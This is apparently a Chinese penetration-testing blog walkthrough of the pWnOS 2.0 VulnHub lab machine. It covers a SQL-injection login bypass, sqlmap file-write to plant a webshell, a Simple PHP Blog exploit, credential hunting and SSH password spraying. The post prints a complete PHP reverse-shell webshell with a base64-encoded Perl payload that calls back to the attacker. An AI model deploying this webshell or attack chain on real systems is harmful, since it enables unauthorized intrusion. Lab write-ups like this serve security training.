🍬 博主介绍
👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
[3、Simple PHP 框架漏洞利用,拿www-data权限](#3、Simple PHP 框架漏洞利用,拿www-data权限)
一、前言
靶机精讲之pWnOS 2.0,vulnhub靶机,简洁明快的攻击链,php+mysql架构cms渗透的样本。从利用选择、反弹shell获得,到信息搜集和枚举,以及mysql数据库的翻找,都可以算上php+mysql架构cms渗透的标准靶机,很多更复杂的渗透也是在此基础上的展开的,这台靶机是可以深入思考,形成思维框架的靶机。
需要注意的是,这个靶机我们下载下来,默认是个静态的IP:10.10.10.100,所以我们需要把我们的wmvare的虚拟网卡设置为10.10.10.0/24网段的地址。
你需要点击下面的更改设置,把网段设置为10.10.10.0/24网段的,因为我这里是NAT模式,所以该的是NAT模式的网段
改完之后,重启kali,就会发现我们的IP变成了10网段的了:
二、外围打点------信息收集
1、主机探测
通过利用arp进行主机探测,发现靶机的IP地址是10.10.10.100,其实我们开始也讲到了,这个靶机被打包下载的时候。默认IP就是10.10.10.100。
cs
┌──(root💀kali)-[~/桌面]
└─# arp-scan -l
2、端口扫描
可以看到这台靶机只开放了22、80端口, 22的话一般靶机后面肯定都是用来利用ssh远程连接的,那么我们就需要信息收集账号密码了,web的80端口毫无疑问是首选的渗透测试方向。
cs
┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 10.10.10.100
因为扫描发现的端口有点少,我们这里再利用nmap扫描UDP端口开放的情况
扫描发现,UDP端口没有什么有价值的端口
cs
┌──(root💀kali)-[~/桌面]
└─# nmap -sU --min-rate 10000 10.10.10.100
3、漏洞扫描
通过利用nmap的漏洞扫描库,扫描到这个靶机的登录页面和注册页面存在csrf,以及扫描到了一些目录,我们到时候可以尝试访问下。
cs
┌──(root💀kali)-[~/桌面]
└─# nmap --script=vuln -p22,80 10.10.10.100
三、信息收集+渗透测试
1、web渗透测试
直接访问这个IP的80端口 ,是个静态的html页面,右边有注册和登录的页面,
看到这种登录框,我们首先可以尝试下弱口令登录,然后再尝试下是否存在sql注入,
我这里尝试输入单引号',然后发现页面报错,那么存在sql注入
然后我们再利用sql注入的万能密码尝试登录,发现成功登录进去了,但是里面内容没有任何回显,一直就是显示正在登录中,这个情况也很有可能是后台存在防火墙之类的防护设备,但是没关系,至少我们知道了这里存在sql注入漏洞。
cs
admin'or'1'=1#
2、利用sqlmap上传木马,拿www-data权限
这里给大家提供一个很好用并且很稳定的反弹shell木马文件:
php
GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "10.10.10.128";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
我们只需要修改下面两个参数就可以了,一个是监听的IP地址,还有一个就是监听的端口。
然后我们这里就可以利用sqlmap上传木马到靶机的指定目录位置,然后kali监听,浏览器访问木马所在的位置,点击木马,就可以拿到shell了。
我们先利用dirsearch扫描目录,看看有哪些目录上传点,比如:(/var/www,/var/www/includes,/var/www/blogs/images)
cs
┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://10.10.10.100
我这里选择/includes目录下,木马上传到指定目录/var/www/includes/下了。
cs
┌──(root💀kali)-[~/桌面]
└─# sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --level=5 --risk=3 --file-write='webshell.php' --file-dest='/var/www/includes/webshell.php'
kali先监听,然后浏览器点击上传的木马,就可以看到反弹设立了成功了。
cs
┌──(root💀kali)-[~/桌面]
└─# nc -lvvp 4444
3、Simple PHP 框架漏洞利用,拿www-data权限
我们前面进行的目录扫描以及漏洞扫描,都发现/blog目录,我们访问看下
我们可以看到,这个页面看着很老,就像是以前的老版本的某个CMS框架搭建的,所以我们可以利用whatweb或者其他工具进行查看下它是哪个cms框架搭建的。
我们可以看到存在Simple PHP Blog 0.4.0框架,你要是问我怎么就知道这个漏洞,其实不是说一眼知道的,比如我们在现实中进行渗透测试也是一样,信息收集过程中,碰到不会的信息,我们收集起来问chatgpt,然后上网检索,这里面的很多关键词我都上网查找了,当我检索Simple PHP Blog 0.4.0的时候,发现exp存在这个漏洞。
cs
┌──(root💀kali)-[~/桌面]
└─# whatweb http://10.10.10.100/blog/
我们这里直接利用kali的searchsploit命令检索,然后再看看使用哪个exp进行渗透测试;
我们可以看到有两个,第一个是创建账户密码,第二个是利用这个exp可以执行cmd命令,我这里选择第一个,直接创建账户密码,然后登录后台,再进行下一步的渗透测试工作。
下载这个exp,然后看看这个exp的使用方法,要是看不懂的师傅,可以利用chatgpt或者上网查,都是可以查找到的!!!
cs
┌──(root💀kali)-[~/桌面]
└─# searchsploit -m 1191.pl
这里就是这个exp的使用方式了,我们可以看到-e选择3,是可以创建用户密码的,那么我们就用这个命令执行exp。
插叙:如果出现运行报错Can't locate Switch.pm in @INC,应该是perl版本依赖未安装的问题,运行如下命令即可。
cs
apt install libswitch-perl
可以看到我们这里已经成功创建了用户名和密码了
cs
perl 1191.pl -h http://10.10.10.100/blog -e 3 -U routing -P 1234
我们成功登录进来了,并且我们发现这里有一个文件上传的功能点,我们尝试上传我们开始的webshell.php木马上去。
上传成功了,这个网站确实是老旧啊,一点过滤都没有.php木马直接就上传上去了,
木马上传成功了,那么我们目前就肯定得找到这个木马上传的位置,我们扫描看看这个目录下有哪些子目录之类的,扫描完毕,那就是挨个试目录了,后来发现木马上传到/blog/images/目录下
cs
┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://10.10.10.100/blog/ -x 403
可以看到,我们的kali已经接收到了木马的反弹shell了。
cs
python -c 'import pty;pty.spawn ("/bin/bash")' //交互式shell
四、提权
1、常规提权操作+信息收集
我们一般拿到交互式shell,首先查看下注册表是否有定时任务之类的,然后查看下哪些有SUID提权以及sudo 提权,但是这里都不行,那么我们就需要在文件目录里面进行信息收集,查找下是否有什么有价值的信息,特别是账号密码之类的。
我们在网站根目录找到了数据库的登录账号密码
但是尝试mysql登录,没有登录成功,这里不应该,我猜测应该是作者故意留的假的账号密码,但是这个存在mysql数据库的账号密码文件应该是真实存在的,但是这个应该是障眼法,所以我们直接检索下,这个文件。
发现/var/目录下还确实有mysqli_connect.php文件,我们cat查看下
找到了mysql数据库的账号密码,我们再进行尝试登录,发现登录成功了
cs
www-data@web:/var/www$ find / -name Hmysqli_connect.php 2>/dev/null
find / -name mysqli_connect.php 2>/dev/null
/var/mysqli_connect.php
/var/www/mysqli_connect.php
查找mysql数据库里面的信息,发现账号密码,不过这里密码进行了加密,我们利用kali的hash嗅探工具进行检查下,看看是什么加密。
发现是SHA-1加密的,我们找个在线解密工具
cs
┌──(root💀kali)-[~/桌面]
└─# hash-identifier "c2c4b4e51d9e23c02c15702c136c3e950ba9a4af"
这个在线解密工具师傅们可以收藏下,这个网站有好多类型的解密,而且这个网站的库还很大,一般都可以解密出来。
利用解密出来的两个账号密码进行ssh远程登录,发现都没有用,那么我们就需要收集更加多的账号密码进行密码碰撞。
3、crackmapexec密码碰撞
直接看下/etc/passwd下有哪几个用户更root用户的权限一样的,直接加入到user爆破字典中。
经过收集,我们的用户和密码的字典如下:
我们可以看到,这个 root:root@ISIntS账号密码不就是我们开始登录MySQL数据库的嘛,这其实也是我们现实中做渗透测试中常见的,就是很多地方,作者自己会把好几个账号密码都设置成一个。
cs
┌──(root💀kali)-[~/桌面]
└─# crackmapexec ssh 10.10.10.100 -u user.txt -p passwd.txt --continue-on-success
4、root权限
恭喜我们成功拿到了root权限,这台靶机也就成功拿下了!!!